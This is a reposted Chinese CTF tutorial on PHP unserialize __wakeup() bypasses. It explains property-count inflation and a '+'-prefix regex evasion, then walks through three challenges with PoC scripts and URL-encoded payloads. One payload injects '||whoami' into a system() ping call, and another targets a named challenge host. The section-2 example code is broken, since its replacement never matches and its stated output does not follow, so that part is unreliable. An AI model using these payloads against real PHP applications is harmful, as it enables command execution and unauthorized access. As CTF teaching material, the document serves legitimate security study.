CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

这篇具有很好参考价值的文章主要介绍了CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

1. __wakeup()介绍

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

下面是一个简单的示例,它演示了如何在一个 PHP 对象中使用 __wakeup() 方法:

class Example {
    public $a = 1;
    public $b = 2;

    public function __wakeup() {
        $this->a *= 2;
        $this->b *= 2;
    }
}

$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它具有两个公共属性 $a$b。在 __wakeup() 方法中,我们将 $a$b 的值各自乘以 2。然后我们序列化一个 Example 对象,并使用 unserialize() 函数将其还原为 PHP 对象。最后,我们使用 var_dump() 函数输出这个对象。运行这个脚本,输出将是:

object(Example)#2 (2) {
  ["a"]=>
  int(2)
  ["b"]=>
  int(4)
}

正如预期的那样,我们的 __wakeup() 方法成功地修改了 $a$b 的值。

在安全编程中,__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。

2.__wakeup()绕过

然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。

具体来说,当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。

攻击者可以利用这个漏洞来绕过 __wakeup() 函数中的安全检查,从而执行任意代码。攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多。由于 PHP 会忽略多余的属性,攻击者可以绕过 __wakeup() 函数的安全检查,并执行恶意代码。

以下是一个漏洞利用的示例代码:

class Example {
    private $a = 1;
    private $b = 2;
    
    public function __wakeup() {
        if ($this->a != 1 || $this->b != 2) {
            die("Invalid values for a and b");
        }
    }
}

$payload = 'O:7:"Example":3:{s:1:"a";i:2;s:1:"b";i:3;s:1:"c";i:4;}';
$serialized = serialize(new Example());
$serialized = str_replace('s:3:"Example":3', 's:3:"Example":2', $serialized);
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它有两个私有属性 $a$b__wakeup() 方法检查 $a$b 的值是否为 1 和 2。然后我们手动序列化了一个 Example 对象,并使用 O 类型的序列化字符串将其包装起来。在这种情况下,我们添加了一个新属性 $c,并将属性数量设置为 3。然后,我们使用 str_replace() 函数将序列化字符串中属性的数量修改为 2,从而绕过了 __wakeup() 函数的安全检查。因此,运行这个脚本,输出将是:

object(Example)#2 (2) {
  ["a":"Example":private]=>
  int(2)
  ["b":"Example":private]=>
  int(3)
}

3. 绕过应用举例

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

漏洞影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}

4. 真实赛题

4.1 赛题一

  • 源码
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
 private $method;
 private $args;
 function __construct($method, $args)
 {
 $this->method = $method;
 $this->args = $args;
 }
 function __destruct()
 {
 // TODO: Implement __destruct() method.
 if (in_array($this->method, array("ping"))) {
 call_user_func_array(array($this, $this->method), $this->args);
 }
 }
 function ping($host)
 {
 system("ping -C 2 $host");
 }
 function __wakeup()
 {
 $this->args = array("127.0.0.1");
 }
}
$a=@$_GET['a'];
@unserialize($a);
?>
  • 解题思路
  1. 关键点在于__wakeup将所有参数均变为127.0.0.1
  2. 需要拼接命令,如ping -c 2;ls或ping -c 2|ls
  3. 构造poc

因为我是在windows10系统上起的服务,系统命令使用whoami

<?php
class home
{
 private $method='ping';
 private $args=array('||whoami');
}
$h = new home();
$ori = serialize($h);
echo $ori.'<br>';
echo urlencode($ori);
?>

CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧
原始序列化字符串:
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
将"home":2 ,修改为“home”:3 即可绕过__wakeup
最终攻击payload
?a=O%3A4%3A%22home%22%3A3%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

赛题2 攻防世界 Web_php_unserialize

  • 题目
    CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
  • 代码解释
    只说绕过点处的正则分析
 if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
功能 代码
匹配模式 /[oc]:\d+:/i
判断变量是否匹配模式 preg_match(‘/[oc]:\d+:/i’, $var)
匹配规则 匹配一个字符集 [oc],后跟一个冒号 :,再跟一个或多个数字 \d+,最后再跟一个冒号 :
匹配字符串示例 o:123:、c:456:、O:789:、C:321:
匹配字符串示例(不匹配) abc、1234、o: abc:
匹配修饰符 i,表示忽略大小写
匹配结果判断 如果变量 $var 匹配模式,则执行 die(‘stop hacking!’)
序列化/反序列化 如果变量 $var 不匹配模式,则使用 unserialize() 函数对 $var 进行反序列化
  • 解题思路
  1. 其余不再分析,只说这道题特有的考点
  2. 这道题特点是绕过preg_match(‘/[oc]:\d+:/i’, $var)

匹配到任意长度的数字 或者oc(类似数字)字符都会被过滤

绕过方式数字前加正号,如+4,正好不改变正数的值,却可以绕过检测

  1. 对private中%00的绕过,此题url编码后的base64,网站不认可。所以只能使用最原始保真的方式生成序列化,并直接base64,注意参考POC
<?php
class Demo { 
    private $file = 'fl4g.php';
}
$d = new Demo();
$ori = serialize($d);
echo $ori.'<br>';
$ori = str_replace('O:4','O:+4', $ori);
$ori = str_replace('"Demo":1:','"Demo":2:',$ori);
// $result = urlencode($ori);
echo $ori.'<br>';
echo base64_encode($ori);

?>

// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
// O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

赛题三:极客⼤挑战 2019 PHP(综合题目)

极客⼤挑战 2019 PHP
CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

  • 题目

一只猫,爱备份

  • 解题思路
  1. 既然提示了爱备份,使用burp加载CTF字典扫描,果然扫到备份地址

CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

  1. 访问/www.zip 自动下载源码。index.php源码如下
 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

其中class.php源码如下

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
  1. 分析源码,class.php已经包含了flag文件 。在反序列化过程中,会自动触发__wakeup()和__destruct()这两个魔法函数。首先根据__destruct()可知,username=='admin'同时password=100可响应flag
  2. 但是魔法函数__wakeup已默认赋值username = 'guest’所以首先要绕过__wakeup。修改属性数量值即可
  3. 构造poc,一击必杀
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}

$name = new Name();
$ser_ori = serialize($name);
echo($ser_ori.'<br>');
$result = str_replace('"Name":2', '"Name":3', $ser_ori);
echo($result.'<br>');
echo(urlencode($result));

?>
/*
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
*/

攻击payload,页面直接爆flag
http://bb716fd5-9d48-4096-82dc-7afb1c3d4c76.node4.buuoj.cn:81/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

下篇文章是php序列化的最后一篇文章,关于phar反序列化,敬请期待~文章来源地址https://www.toymoban.com/news/detail-476508.html

到了这里,关于CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(52)
  • 反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型

    2024年02月06日
    浏览(48)
  • 反序列化中_wakeup的绕过

    反序列化中_wakeup扮演着非常重要的角色,ctf碰到很多的题目都有涉及到_wakeup绕过,写下这篇博客来总结下大部分绕过方法,其中会有例题具体演示。 两个变量同时指向同一个内存地址 例题:[UUCTF 2022 新生赛]ez_unser 源代码 分析一下,有eval函数可以命令执行,但是__wakeup()会

    2024年02月10日
    浏览(37)
  • php反序列化漏洞基础

            序列化是将对象或类转换为字符串的过程 ,以便在程序运行过程中对其进行持久化存储或传输的操作。在PHP中,序列化主要用于将类对象或数组转换成字节流的形式,以便于存储在磁盘或传输到其他系统。         通过 序列化,可以将对象或类转换成一串字

    2024年01月20日
    浏览(63)
  • PHP反序列化漏洞原理

    1、原理: 序列化与反序列化是保证数据一致性的过程。 2、产生: 序列化与反序列化的过程中,用户可控 如果反序列化的参数受到攻击者的控制,就会产生漏洞。攻击者可以通过修改参数个数等方式来控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

    2024年01月16日
    浏览(61)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(55)
  • 反序列化漏洞及PHP魔法函数

    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反

    2024年02月04日
    浏览(59)
  • PHP反序列化漏洞之魔术方法

    PHP魔术方法 (Magic Methods) 是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct() 、 __toString() 等。 魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性

    2024年02月16日
    浏览(49)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(77)
  • PHP反序列化漏洞-字符串逃逸

    字符串逃逸(闭合) 字符串逃逸(闭合)是一种在反序列化函数可控的情况下,通过修改序列化字符串中的敏感字符来达到字符串逃逸的方法。 具体而言,可以通过修改变量名等个数,使得序列化字符串中的字符个数与实际变量值个数不一致 。由于反序列化机制要求字符串

    2024年01月20日
    浏览(57)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包